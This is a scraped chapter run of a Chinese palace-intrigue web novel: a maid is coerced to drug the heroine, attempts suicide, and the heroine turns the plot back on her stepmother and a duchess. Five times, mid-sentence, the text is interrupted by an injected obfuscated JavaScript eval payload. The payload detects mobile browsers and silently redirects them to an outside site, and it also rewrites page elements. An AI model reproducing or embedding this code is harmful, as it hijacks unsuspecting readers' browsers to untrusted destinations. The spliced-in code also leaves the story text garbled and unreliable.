晏逐星闭目养神,将自己做过的事情一遍一遍在脑海里复查。 裴明镜手中肯定没有确凿的证据,不然他也不会曲线救国,从半棠那里下手,而是直接找上门来了。 想通了这一点,晏逐星决定以不变应万变。 夜里,天刚刚暗下来的时候,半棠终于回了玉澜院。 “怎么去了那么久?”晏逐星开口询问。 半棠颤着嗓子道:“夫人让奴婢描花样子,因而回来晚了。” 她答应了裴大人,继续留在小姐身边,看她下一步会做什么,因此压根不敢说实话。 “行了,那你退下吧。”晏逐星没有继续多问就让她离开了。 半棠有些惊讶,她刚刚还在担忧大小姐若是刨根问底怎么办。 不曾想,竟然就这样让她离开了。 她忐忑不安地回了自己住的厢房。 心里装着事,她一夜无眠。 早晨起来服侍晏逐星梳头都有些恍惚。 一整日,晏逐星都在屋子里养病,看书,日子过得和往常一样没有什么区别。 甚至还有闲心让人将她抬到院中看盛开的梅花。 半棠渐渐放下心来。 不曾想,有人却等不及了。 “裴明镜怎么还没行动?他到底怎么跟你说的?”温如霜面如寒霜,咬牙切齿地把半棠叫到了面前。 “裴大人只让奴婢继续伺候大小姐,别的什么都没说。”半棠慌张地在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497773|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 裴大人说了。 他们之间的谈话,绝对不能让第三个人知道,就连夫人这边也得瞒着。 “我不信,他把你叫出去,肯定是查到了什么!”温如霜将手里的药碗狠狠砸到了地上。 “他就是要包庇那个小**。” 身体的疼痛和报仇的决心冲昏了她的脑袋。 她等不及了。 凭什么她得拖着这副腐木般的身躯生不如死的活着,而晏逐星却还能去庭院当中赏花,看书。 她要让晏逐星和她一样,变成一个半死不活的废人。 温如霜大发雷霆,半棠不敢躲开,瑟缩着身子跪在地上。 “把东西给她。” 听到这话,半棠抬头,便看到了夫人的心腹李嬷嬷将一个小瓷瓶递到了面前。 随后就温如霜冷冷开口:“这药,你想办法让她服下。” 半棠脸色大变:“奴婢不敢。” “不敢?”温如霜冷笑,“你的**契可还在我手里呢。你若不照办,我便将你嫁给周妈妈儿子。” 半棠打了个哆嗦,露出了绝望的表情。 周妈妈的儿子性格暴烈,若是嫁给他,一定会被活生生打死的。 她拿着药,恍惚地回了玉澜院。 双鲤瞧见她,好奇道:“半棠姐姐,你怎么了,脸色这么难看?” 半棠回过神来,露出了一个勉强的笑:“没什么,就是身子有些不舒服。” “那你可得注意了。这大冷天的,病了可就遭罪了。”双鲤像是没有察觉到她的异常。 半棠紧紧捏着手中的药瓶,点了点头。 夜里,她翻来覆去地睡不着。 她不敢给大小姐下药,又害怕被夫人胡乱许人,裴大人那边她更是不知道该怎么交代。 三个人,她谁也得罪不起。 她该怎么办。 辗转反侧到了半夜,半棠终于下定了决心。 第30章 侯府大小姐到底给王爷灌了什么**汤 她起身拿了一根腰带和小木凳,恍恍惚惚地往院子里走去。 **,这一切就解脱了。 反正父亲的买药钱和兄长娶妻的钱都有了,她也可以安心地离开了。 半棠将带子抛到树干上,系了个死结。 她心如死灰,将脑袋套入其中,踢翻了木凳。 窒息的感觉传来,她拼命挣扎。 这时,她的身后忽然亮起了一盏灯笼。 衔蝉三步并作两步冲了过来,拔刀将她准备自缢的腰带给割断了。 半棠跌到地上,大口大口地喘着粗气。 提着灯笼的双鲤走了上前:“半棠姐姐,小姐要见你。” 她脸色瞬间变得比地上的雪还要白上三分。 双鲤叹了一口气:“你何苦寻死呢。什么事都没有活着更重要啊。” “我……”她张了张嘴,想说什么,但最终一切都化作了苦笑。 看来,大小姐什么都知道。 她颓然起身,再无**的勇气,亦步亦趋地跟在双鲤身后,去见了晏逐星。 “说吧,为何想要自缢。”晏逐星淡淡开口。 半棠捂着脸,呜呜呜地哭了起来。 她一边哭一边把这几日的事情说了出来。 “大小姐,是我对不起您,没能遵守和您的约定,您就让我**吧。” 晏逐星默默听完了她的话。 她没想到温如霜竟然这么沉不住气,竟然现在就要弄死她了。 “将她带出去吧,我静一静。” 将半棠支出去后,晏逐星看向了衔蝉:“你可识得这是什么药?” 永安王给她送的这个丫鬟精通药理,这会儿正好派上用场了。 衔蝉接过药瓶开始检查,片刻后回答道:“小姐,这药并不致命,只是会让人腹泻。” 晏逐星露出了惊讶的表情。 她还以为温如霜要立刻就像要她的命呢。 但转念一想,她就明白了温如霜的用意。 这只是对半棠的一个试探。 温如霜虽然愤怒,但也彻底没有失心疯。 前脚才说她推她下马车,后脚她就毒发身亡的话,这简直就是给裴明镜送把柄。 她想让她出糗,然后再徐徐图之。 晏逐星将双鲤叫了过来:“昨日让你悄悄拿的药,你可拿到了?” “拿到了小姐。”双鲤点头。 前段时间下人的厢房里闹了耗子,有丫鬟买了耗子药,晏逐星在得知半棠背叛她后,便让双鲤偷偷拿了一点耗子药。 打算等几日制造半棠误食耗子药后死掉的假象。 没想到,现在还能派上别的用场。 她将那些耗子药弄到了温如霜给的药瓶里。 随后让人把半棠又叫了进来。 “想活吗?我给你指一条活路。” 半棠摸了摸已经留下淤青的脖颈,重重点头。 死亡的感觉太可怕了。 她已经死过一次,不想再**。 …… “你说定远侯夫人让你把这个药下到晏大小姐的药膳里?”裴明镜握着手中的药瓶,若有所思。 “没错。”半棠点了点头。 昨夜,大小姐给她指了一条活路,让她来找裴大人。 裴大人虽然铁面无私,但也从不迁怒无辜之人。 她被他逼盯着大小姐,替他办事,如今出了这么大的事,自然该让裴大人替她兜底。 “是晏逐星让你来的吧。”裴明镜忽然笑了起来。 “是。”半棠再一次点头。 大小姐说她不会撒谎,那就说实话。 只是可以选择性地说。 夫人让她下药,大小姐发现让她来找裴大人的事情可以说,但药瓶单独给过她一事,可以不说。 虚虚实实真真假假,反倒让人猜不出真相。 她将系在脖子上的围脖摘下,指着脖子上的勒痕,红着眼睛道:“奴婢真的不知道该怎么办了,我不想害人,又害怕夫人将我嫁给那无耻之徒,便想着一**之。结果被大小姐发现了。” “她说……” 裴明镜将药瓶交给下属让他拿去验证,听到这话,下意识地接话:“她还说了什么?” “她说裴大人不相信她,她就不报官了。她也不知道该怎么办。她自身难保,护不住我,让我来找您。她还说裴大人足智多谋,一定有办法救我。”半棠将晏逐星的话一字不落地复述出来。 说完,她跪到了地上:“大人,求您救救奴婢吧。奴婢愿意给您当牛做马一辈子报答您。” 裴明镜眉心拧了拧。 可真是个小狐狸,竟然将这烫手山芋抛到了他手里。 他没说话。 片刻后,下属验完药告知他结果。 “**?”裴明镜眸色微冷。 这对母女还真是想方设法将对方置于死地啊。 跪在地上的半棠抽泣着:“大人,求您救救我吧。” 裴明镜低头看向她,开口道:“我跟你走一趟。” 他打算再和晏逐星谈谈。 那个黄衫女子依旧下落不明,若是能从她口中撬出那女子的身份就好了。 裴明镜再一次去了定远侯府。 按照礼数,他先去见定远侯。 没想到,刚踏进会客厅,就听到一阵哭嚎。 “侯爷,您救救大小姐吧。”双鲤哇哇大哭。 “有人买通了丫鬟给大小姐下**,若不是发现衔蝉姐姐知晓药理,大小姐就要被毒**。” 瞧见裴明镜后,她扑到了裴明镜脚边,抓着他的裤腿哭得更大声了。 “大人,您可算来了。人证物证都已经交给您了,您可得替我家小姐做主啊。” 定远侯脸色铁青。 侯府三番几次发生这样的事情,还总让裴明镜撞到,皇上肯定又要训斥他持家不严了。 他一方面在心底暗恨下药的人不懂事,这等风口浪尖竟然还敢对晏逐星下手。 一方面又恼怒晏逐星不识好歹,腿都断了竟然还那么能作妖。 “裴大人,小小家务事,您何必跑这一趟。”他挤出笑容看向裴明镜。 “父亲,这怎么能是家务事呢,这可是性命攸关的大事。”后边坐在步舆上晏逐星轻声开口。 “虽然我不是亲生的,但毕竟喊了您那么多年父亲,您总不能眼睁睁看着我被人害死吧。” 定远侯被她气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497774|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得火冒三丈。 还没等他开口训斥晏逐星闭嘴,她就看向了裴明镜。 一行清泪顺着眼角滑落。 “裴大人,院子里那些人我是谁都不敢信了,我只信您。” 定远侯气急败坏道:“行了,你若信不过那些人,便自己挑一批人伺候你行了吧。别什么小事都麻烦裴大人。” 裴明镜看着她的泪一怔,而后反应过来。 他被晏逐星给算计了。 她要的就是将整个院子里定远侯夫人的眼线全都拔除吧。 好一个只信他。 裴明镜指了指地上的双鲤:“本官自是不会辜负大小姐的信任。这个丫鬟,本官很是喜欢,不如大小姐割爱?” 双鲤吓了一跳,她可不想跟裴大人走。 “那不行。”晏逐星果断拒绝。 “不是说院子里那些人都不敢信?”裴明镜挑眉。 “嗯,是那些人不可信。但双鲤不一样,双鲤是我的救命恩人。”晏逐星一脸诚恳。 “而且永安王送来的衔蝉姑娘,很喜欢双鲤,将双鲤当作亲妹妹一般对待。若是将他们二人分开,未免有违仁厚。” 裴明镜面无表情地盯着她。 这是拿永安王来压他? 晏逐星顶着他的死亡凝视继续道:“裴大人若缺丫鬟,我看半棠就不错,人机灵,又乖巧听话。不如您将她带走吧?” 半棠抓住时机跪在了地上:“能伺候大人,是奴婢三生修来的福气。” “是啊,大人您若喜欢府上哪个丫鬟,只管开口。”定远侯跟着附和。 他只想快点把裴明镜送走。 裴明镜盯着晏逐星,弯腰凑到她耳边,冷冷一笑:“大小姐真是好手段。” 晏逐星像是听不出他的讽刺,乖巧地看着他:“大人的救命之恩,小女子来世结草衔环一定会报。” 裴明镜彻底被气笑了。 合着这辈子就不愿报恩,用虚无缥缈的下辈子来许诺他呗。 裴明镜歇了询问晏逐星的心思,他知道他不可能从她嘴里挖出任何有用的东西了。 他看向定远侯:“劳烦侯爷将这丫鬟的身契送到国公府二房,人,我带走了。” 这丫鬟先前确实是在为他做事,他也不可能眼睁睁看着她**。 “好说好说。”定远侯当即答应了下来。 只要别继续盯着他的后院,区区一个丫鬟,给了就给了。 “父亲,劳烦将双鲤的身契也给我吧。”晏逐星趁机提出了要求。 定远侯只想快点息事宁人,胡乱地点头答应了下来。 …… 定远侯府的事情再一次被传回了永安王府。 停云忍不住嘀咕:“这侯府大小姐的心机未免也太重了些,竟然还利用您的名头吓唬裴大人。” 谢翊宁冷哼一声:“生在那等虎狼窝里,她不多长几个心眼,岂不是早就没命了。若她能和我一样,受尽万千宠爱长大,哪里还需要这样小心翼翼地算计别人活命。” 停云:…… 定远侯府大小姐到底给他家王爷灌了什么**汤。 怎么她做什么王爷都能给她找到合理的借口? 第31章 要不要给你们赐婚 两人闲谈之际,管家忽然敲门通禀。 “王爷,皇后娘娘请您入宫一趟。说是有要事相商。” 谢翊宁听到这话,急匆匆地赶到了未央宫。 “母后,出什么事了?” “这大冬天的,怎么还出汗了,快擦擦,可别着凉了。”皇后瞧见他额头的汗,心疼地掏出帕子想要替他擦掉。 “我这不是着急么。”谢翊宁接过帕子,自己擦掉了汗珠。 “你这孩子,急什么。母后寻你来是想问问你对那定远侯府大小姐,到底是什么想法?可要我去找你父皇给你们赐婚?”皇后笑眯眯地看着他。 谢翊宁一阵无语。 所谓要事相商,就这事? 他认真又无奈地开口:“母后,我说过了,没度过那一劫之前,我不会考虑成婚生子的。我不能那么自私,自己**留下人家孤儿寡母过日子。” “呸呸呸,我儿一定长命百岁。”皇后轻轻拍了拍他的手背,不许他说下去,但是自己的眼眶却红了。 国师的预言,从未出过错。 她可怜的孩儿,怎么就摊上了这样的命运。 “就算是孤儿寡母,我和你父皇,还有你太子哥哥,都会照顾他们的,让他们一辈子锦衣玉食。你有什么可不放心的。”她不遗余力地劝说了起来。 万一真活不过二十岁,至少得留一个后啊。 谢翊宁看着她,叹了一口气,但依旧没有改口:“母后,我真的无心成婚。” 皇后没想到小儿子这么犟,有些无奈:“那你对定远侯府大小姐那般好,是为了什么?这么多年,母后可从未见过你对哪家千金这么上心。” 谢翊宁一阵语塞。 他无缘无故对晏逐星那么好,没有一个合理的说法,母后肯定也不相信。 思来想去,他决定把重生的事情,换一个说法告知母后。 他斟酌片刻后,开口道:“母后,前不久我做了一个梦,梦到我死在了战场上……” “不许说这样不吉利的话!”皇后急急忙忙打断他。 自打国师预言后,她便听不得这些死不死的话。 “母后,你先听我说完。”谢翊宁柔声安慰她。 “梦里正是定远侯府大小姐救了我,避免了我被万箭穿心,死无全尸的下场。醒来后,我让停云去打听她,发现她过得不好,很是可怜。所以才会屡次出手帮助。毕竟她也算我的救命恩人。” 皇后听到这么离奇的事情忍不住皱起了眉头:“就因为一个梦?” 谢翊宁振振有词:“梦怎么了。在那之前,我都没见过定远侯府那位大小姐。那我为什么不梦到别人,独独梦到她救了我。说不定上辈子还真发生过那样的事情。” “你说得也有点道理。”皇后被他说服了。 怕她继续乱来,谢翊宁再次强调:“所以呀,母后您千万别乱点鸳鸯谱了。我若是遇到了心仪的姑娘,一定会请您和父皇赐婚的。” “好吧。”见他这么坚决,皇后只能点头答应了下来。 送走他后,皇后还是觉得不对劲。 夜里,文昭帝谢如璋来到未央宫,瞧见她一脸严肃,还以为发生了什么大事。 他上前一步将皇后拥在怀中,笑道:“可是今日小石头入宫惹你生气?” “那倒不是。”皇后摇了摇头。 “我是在琢磨他和定远侯府那个小姑娘的事。” “哦?他和人家姑娘怎么了?”文昭帝有些好奇。 他和皇后是青梅竹马。 少年夫妻老来伴,一直恩爱有加。 两人直到这个岁数,还有说不完的话。 所有的孩子里,他最喜欢的就是皇后生的两个儿子。 因此对他们都很关注。 谢翊宁屡次给晏逐星撑腰的事情,他早有耳闻。 皇后说起这个就滔滔不绝:“他说他并非心悦人家,可你看他做的那些事情,桩桩件件,明里暗里都在维护人家。我觉得啊,他肯定是心悦那个姑娘。” “不会吧。这小子从小就厚脸皮,想要什么都是直说,什么时候跟咱们客气过。”文昭帝脱口而出。 皇后被他这话逗笑了,嗔怪地看了他一眼,而后又说起了谢翊宁说的梦。 “他为什么不梦到别人,独独梦到定远侯府大小姐。分明是日有所思夜有所梦。他肯定是爱惨了那个姑娘,只是碍于自己活不到二十的命运,不敢说出口罢了。” 说到最后,皇后心里酸酸的。 她这么一说,文昭帝觉得好像有那么一点道理。 皇后越想越觉得是这么一回事,一把抓住了皇上的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497775|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神情飞扬。 “不行不行,儿子不争气,咱们可不能干等着。不然猴年马月才能有儿媳妇。明日我就派人去慰问那个姑娘,让人在她面前多说说石头的好话。你说,之后等她主动了,石头是不是就不会拒绝了?” “小姑娘主动咱们儿子会不会拒绝,朕不知道,但皇后主动,朕肯定不会拒绝。”文昭帝笑眯眯地牵起皇后的手,亲了一口。 皇后的脸上霎时飞上红云,她抽回了手:“我才没有……” “好。是朕主动,还请皇后不要拒绝。”他将皇后拦腰抱起,垂头咬住她的耳垂。 惊呼声起。 宫人们羞红了脸,默默退出了寝宫。 …… 定远侯府里。 定远侯正和夫人爆发了激烈地争执。 “我都说了,让你先不要去招惹那丫头,你为什么非不听!!!” “她害我落得这般惨状,我不过是给她下点泻药罢了,这也不行吗?”温如霜愤怒反驳。 “头发长见识短,你何必逞一时之气。招惹了裴明镜,这辈子都别想安生了。”定远侯吼的声音比她还大。 他这个侯爷的头衔,是祖父靠军功挣来的。 到了他父亲那一辈,只上过几回战场。 然而到了他,他一回战场也没去过,他心虚得很。 若是不停地被参,皇上保不准就不许这爵位继续传下去了。 到时候,他还有什么颜面面对列祖列宗。 他不耐烦道:“别说废话,把那丫头要的**契给我。” 温如霜不情不愿地让人把**契交了出来。 定远侯拿到**契摔门而去。 温如霜被这一幕气得尖叫出声。 “啊——!” 光是叫还不解气,她抓起绣枕狠狠砸在地上,这还不够,她把身边能够到的东西全砸了。 晏明月来到她屋子,看到这一幕,心里有些烦躁,但还是耐下性子安慰她:“娘亲,您别生气了。为了姐姐气坏身子,可不值当。” “你懂什么。裴明镜就算了,那个贱丫头害了我,还要骑在我头上,真是反了她了。”温如霜气得直掉眼泪。 晏明月听到这话,先跟着她附和着辱骂了晏逐星几句,随后道:“我有一个办法,或许能让娘亲出气。” 第32章 这般寡廉鲜耻的做派,倒真是让她开了眼界 “什么法子?”温如霜猛地抬头看向她。 晏明月吞吞吐吐道:“姐姐倚仗的不过是裴大人罢了。若是裴大人的母亲知道这事……” 她没说完,温如霜就反应过来了。 裴明镜的母亲卫国公夫人窦淑容是出了名的严苛。 按照裴明镜家世、相貌和才学,婚事本应早早定下。 就是因为窦淑容挑剔,要求儿媳家世要三代清贵,容貌要堪比洛神,琴棋书画还得样样精通,以至于裴明镜二十一了仍未娶妻。 他们只需稍加透露裴明镜对晏逐星的特别关注,窦淑容必定会出手对付晏逐星。 她这般看重自己的儿子,绝无可能接受身份不明的女子成为裴家儿媳。 “去,让人送**契到国公府的时候,将此事透露给窦夫人。”温如霜当即命李氏去办此事。 …… 夜里,裴明镜回到家中,忽然被母亲叫到了跟前。 “母亲寻我何事?”他有些疑惑。 “你可有心仪的姑娘了?”窦淑容轻拍身侧座椅示意儿子落座。 裴明镜摇头:“没有。” 窦淑容不动声色地试探:“你都二十一了。你堂弟比你还小两岁,如今孩子已经会喊爹娘。你也是时候成家了。若当真遇见可心人,大可告诉母亲,母亲自会请人上门替你提亲。” 裴明镜对她话里有话的试探感到十分厌烦。 白日里京兆府勘验案件已耗去他十成精力,他不想回到家中还和家里人玩这种猜来猜去的戏码。 裴明镜揉了揉疲惫的眉心,开口道:“您想问什么直接问就是了,何必搞这些后宅里的弯弯绕绕。” 窦淑容没想到儿子会落她的面子,有些不悦。 她放下手中的茶盏,沉声道:“那你说说,你与那位定远侯府大小姐是怎么一回事?你屡次替她周旋,连贴身侍婢都讨来给你堂妹。这传出去,像什么话。” 她顿了顿,表情变得严肃起来,话音也陡转凌厉。 “若你看上的是她,那就趁早歇了心思。我是绝对不会同意这样的女子嫁入裴家的。” 裴明镜没想到母亲会扯到晏逐星身上。 他抿唇道:“母亲慎言。我与晏大小姐清清白白,只不过因为查案有了些许交集。这样的话若是传出去,岂不是坏了人家名声。” “我看坏了你的名声才是,她的名声值几个钱。”窦淑容愤愤不平。 出去打听一圈,就没人说晏逐星好话的。 一个来路不明的野种,被领回家了还不知感恩,为了攀高枝还给傻子下药。 这般寡廉鲜耻的做派,倒真是让她开了眼界。 裴明镜眉头拧得更紧了,他不想继续这个话题。 接触几次下来,他已经清楚晏逐星是什么样的人。 她睚眦必报,诡计多端,对仇人狠,对自己也狠,若是招惹了她,她一定会不惜一切代价报仇。 想到这,他提醒道:“母亲,我与她断无可能,你莫要招惹她。” 窦淑容手帕绞得死紧,眼前阵阵发黑,差点没气晕过去。 儿子还是头一回这样维护一个姑娘。 说什么断无可能,分明就是怕她去找那个丫头的麻烦。 她深吸一口气,知道这个阶段不能跟儿子硬起冲突,否则母子离心。 她挤出一抹勉强的笑:“好。都听你的。” 翌日清晨。 窦淑容将裴芜叫来。 “听闻你与定远侯府那位晏大姑娘有些许交情?” “算是吧。”裴芜摸不准大伯母是什么意思,回答得很含糊。 上回大堂兄让她不许多和晏逐星来往,她便没敢邀请晏逐星上门做客。 听说她坠马伤了腿,也只敢偷偷让人给她送了一些去疤痕的药。 窦淑容慢条斯理地开口:“听说她病了,你怎么不去看看?” 裴芜听出她话外的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504808|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,试探性道:“那我这就给定远侯府递帖子?” “嗯,递吧。晚些时候我同你一块去定远侯府。”窦淑容点了点头。 她是看不上定远侯一家子的,也不想跟他们有过多的交集。 但如果只是小姑娘间的来往,就显得没有那么刻意了。 没过多久,定远侯府就回了帖子,欢迎裴芜登门做客。 窦淑容便跟着裴芜一块去了侯府。 按照礼数,他们得先去拜访当家主母。 但温如霜如今瘫痪在床,并不想让旁人看到她的糗样,因此直接让人把他们带去了玉澜院见晏逐星。 “逐星,你这腿怎么样了?”裴芜看到腿包得严严实实的晏逐星,眼里流露出担忧。 “太医说好好养几个月就好了。”晏逐星浅浅一笑。 她没想到还会和裴芜有交集。 更没想到,裴明镜的母亲会亲自登门造访。 她提起了十二万分的精神。 她不确定,裴明镜母亲此行的目的是什么。 万一是来替裴明镜套话的,她可不能上当了。 裴芜和晏逐星寒暄了起来,一旁的窦淑容一直在默默观察。 片刻后,她忽然开口:“晏家丫头,我瞧着你这院子里的梅花开得正好,我讨几枝回去插瓶,你不会不舍得吧?” “国公夫人喜欢,只管命人摘取便是。”晏逐星含笑点头应下。 “阿芜,你替我去摘吧。”窦淑容看向了侄女。 裴芜一愣,明白大伯母是故意将她支走。 她有些担忧地看了一眼晏逐星,她这大伯母可不是一个好相与的。 但她人微言轻,整个裴家都要看着大房的脸色行事,因而没敢说不,点头领着丫鬟去了院子里摘梅花。 屋子里便只剩下了窦淑容和晏逐星,以及他们的心腹丫鬟。 两人对视一眼。 窦淑容脸上的笑意退去,冷冷地看着晏逐星。 第33章 当场就被打脸 晏逐星察觉到了她眼底的厌恶,但她也懒得去戳穿。 讨厌她的人多了去了,卫国公夫人还排不上号。 她不开口,晏逐星也不说话。 窦淑容微微蹙眉,这个小丫头倒是挺沉得住气。 寻常和她一般年纪的小姑娘,被她盯着通常没一会儿就要自乱阵脚了。 晏逐星竟然还挺淡定的。 最后还是窦淑容沉不住气,先开口了:“我今日来,只为和你说一句话。” 晏逐星懒懒地掀开眼皮:“国公夫人请讲。” 窦淑容绷着脸甩出一句:“你不要妄想使那些狐媚子手段勾引我儿,我是绝对不会同意你嫁到国公府的。” 晏逐星:? 这位卫国公夫人在说什么。 勾引裴明镜? 她嫌自己命太长吗。 和那样一个心眼子多的人待在一起,她都紧张得不敢大喘气。 亏她还提心吊胆担心她是来替裴明镜套话的,现在看来是担心过头了。 不等她开口,一旁的衔蝉便开口了。 “国公夫人慎言,我家小姐与裴大人清清白白。” “主子说话,轮得到你一个下人多嘴么。”窦淑容面罩寒霜,脸色如乌云压境般阴沉。 “果然什么样的主子就会有什么样的丫鬟。没规矩,没教养。” 晏逐星微微一笑:“诶,国公夫人,这是永安王暂时借给我的丫鬟。你是觉得永安王没规矩又没教养么。” 窦淑容面上流露出一丝错愕。 什么,永安王? 怎么可能。 她不相信晏逐星和永安王有什么关系,她喉间滚过一声冷哼方才开口:“你可知胡乱攀扯永安王是什么罪名。” 衔蝉默默将王府的玉牌拿了出来,语气平静地开口:“奴婢在永安王府已经呆了快十年,最近才奉王爷的命令过来伺候大小姐的。大小姐所言,句句属实。” 当场就被打脸,窦淑容的表情变得十分难看。 她猛地站起身:“总之,我不管你和永安王有什么关系,但你休想嫁给我儿子。你这样来路不明的野种,给他做妾也不配。” 晏逐星忍她很久了。 她嗤笑一声:“您实在是多虑了。不仅我不想嫁去你们国公府,这满京城里但凡心疼闺女的人家,谁舍得把掌上明珠往火坑里推。” 窦淑容被她这话气得差点没背过气去。 她竟敢说他们国公府是火坑? 不等她开口,晏逐星竹筒倒豆子般抢道:“您当真不明白裴大人为何至今未娶?” 她眼尾一挑,露出几分讥诮的笑。 “满京城里谁不知道你挑儿媳妇眼高于顶。就算是天上下凡的仙女给你当儿媳妇,你也能挑出各种毛病来。依我看啊,就该把裴大人变成一块传家宝,让您日日捧在掌心里疼着。你们母子俩过一辈子得了,要什么儿媳妇啊。” “你——”这下窦淑容是真的要气疯了,脸一阵青一阵红。 她儿子这般芝兰玉树,难道不该千挑万选好选一个配得上他的姑娘么。 怎料落到这个野丫头口中,她竟成了个攥着儿子不撒手的腌臜婆母。 双鲤乖巧地给自家小姐倒了一杯热茶。 晏逐星慢条斯理地喝下。 窦淑容看她这副云淡风轻的模样,气得身子都哆嗦了起来。 听到里间似乎起了冲突,摘梅花的裴芜站不住了,匆匆赶了回来。 “大伯母,梅花摘好了,咱们是不是该回府了。” 窦淑容当着侄女的面,不想失态,她强行压下了自己的情绪,冷冷道:“好一个牙尖嘴利的野丫头。我这就问问定远侯夫人去,究竟是怎么养出了你这么一个目无尊卑,顶撞长辈的混账玩意。” 瞧见裴芜进来,晏逐星整个人抖得像风里残烛,泪珠子成串往下砸。 “夫人明鉴,我若有半分攀附国公府的心思,现下就撞死在您面前。求您了,不要去找母亲。要是让母亲误会我勾引了裴大人,我就真的活不下去了。” 话音刚落,她往前倾了倾身子,一口猩红“哇”地喷在绣被上。 “小姐,您怎么吐血了!”双鲤惊叫了起来。 整个玉澜院霎时乱成了一团。 窦淑容目瞪口呆。 先前还伶牙俐齿反驳她,现在瞧见裴芜就卖惨吐血,这野丫头果真心机叵测,手段了得。 “快去请大夫。”裴芜匆忙催促自己的丫鬟。 晏逐星听到这话,忙捏了一下双鲤的手心。 双鲤会意,忙上前阻拦:“裴二小姐,您和夫人先回吧。大夫我已经命人去请了。你们留在这,我怕小姐醒了更难过。” “你这话什么意思?”窦淑容柳眉倒竖。 “大伯母,这么乱,咱们先回吧。”裴芜怕闹得更厉害,赶忙催促。 她这个大伯母,一直管堂兄管得很紧,任何接近堂兄的姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504809|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘祖宗十八代都会被查清楚。 唉,她早该想到的。 堂兄几次三番和晏逐星有来往,大伯母肯定误会了什么。 大伯母瞧不上定远侯府,今日前来,定然是为了羞辱晏逐星,让她不要痴心妄想。 可她也能看出来,堂兄和晏逐星两人对彼此根本没有情意啊。 早知道,她就不和大伯母一块来探望晏逐星了。 “她肯定装的。”窦淑容有苦说不出。 “嗯,但咱们也该走了。”裴芜顺着她的话点点头。 她不想让大伯母继续留下来,省得刺激晏逐星。 摔断了腿已经够可怜了,现在还要被她大伯母羞辱。 “你好好照顾你家小姐,空了我再来看她。”裴芜有些羞愧地开口。。 见她对晏逐星的丫鬟这么客气,窦淑容气得拂袖离去,临行前,特意让人去和温如霜说了此事。 还放下了一句狠话。 “从今往后,有我的地方不许她出现。否则就是与卫国公府为敌。” 温如霜将这话告诉了定远侯。 定远侯一惊:“她怎么得罪卫国公夫人了?” “不知道。但能让卫国公夫人说出这样的话,显然是得罪狠了,再无转圜的余地。”温如霜面露担忧,但实际上心里都乐开花了。 “侯爷,要不还是尽早将那野丫头赶出去吧。” 她想明白了。 让晏逐星留在侯府反倒不好动手。 将她撵出去,她一个孤女独身在外,出点什么意外很正常。 定远侯眉头皱得紧紧的。 他有些纠结。 虽然不知道什么原因,但皇后和永安王似乎对晏逐星另眼相待。 就这样把人赶出去,会不会太草率? 见他眉头紧锁,温如霜又道:“如今她名声都坏了,被她带累得我们母女都接不到别家的宴会帖子。皇后娘娘也不提让她入宫教导十公主了,恐怕也已经在心里厌恶她了。” 定远侯一凛,觉得她说得很有道理。 他点点头:“好,那便依夫人所言,将她送出府去吧。给个二百两银子,就当全了这些年的养育之情。也省得落人话病,说咱们无情无义。” 温如霜达成目的,笑意盈盈道:“侯爷想得甚是周全。” 就在他们正准备下令让晏逐星搬出侯府时,管家急匆匆来报:“烈国公夫人领着世子爷上门,说是来探望大小姐。” 第34章 感觉皇后娘娘像是在撮合晏逐星和永安王 “什么?”定远侯和温如霜同时惊呼出声。 